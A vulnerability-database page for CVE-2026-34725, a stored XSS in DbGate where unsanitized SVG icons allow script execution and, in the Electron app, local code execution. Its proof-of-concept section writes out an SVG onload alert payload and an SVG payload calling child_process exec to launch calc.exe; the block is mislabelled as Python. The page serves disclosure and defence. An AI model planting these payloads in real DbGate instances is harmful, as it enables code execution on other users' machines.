Security Vulnerability Report
中文
CVE-2026-34725 CVSS 8.2 HIGH

CVE-2026-34725

Published: 2026-04-02 18:16:33
Last Modified: 2026-04-16 14:45:20

Description

DbGate is cross-platform database manager. From version 7.0.0 to before version 7.1.5, a stored XSS vulnerability exists in DbGate because attacker-controlled SVG icon strings are rendered as raw HTML without sanitization. In the web UI this allows script execution in another user's browser; in the Electron desktop app this can escalate to local code execution because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in version 7.1.5.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DbGate 7.0.0 至 7.1.5 之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-34725: Stored XSS via SVG Icon in DbGate // The attacker sets the icon string to a malicious SVG payload. // Basic XSS Payload (Web UI) const xssPayload = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('CVE-2026-34725')"> <rect width="100" height="100" fill="red"/> </svg>`; // RCE Payload (Electron Desktop App) // Due to nodeIntegration: true and contextIsolation: false const rcePayload = `<svg xmlns="http://www.w3.org/2000/svg" onload="require('child_process').exec('calc.exe')">`;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34725", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:33.253", "lastModified": "2026-04-16T14:45:19.723", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DbGate is cross-platform database manager. From version 7.0.0 to before version 7.1.5, a stored XSS vulnerability exists in DbGate because attacker-controlled SVG icon strings are rendered as raw HTML without sanitization. In the web UI this allows script execution in another user's browser; in the Electron desktop app this can escalate to local code execution because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in version 7.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/dbgate/dbgate/commit/a7d2ed11f3f3d4dfb5d2e4e5467dedafa5fa947e", "source": "[email protected]"}, {"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.5", "source": "[email protected]"}, {"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-35xm-qvjg-8m42", "source": "[email protected]"}]}}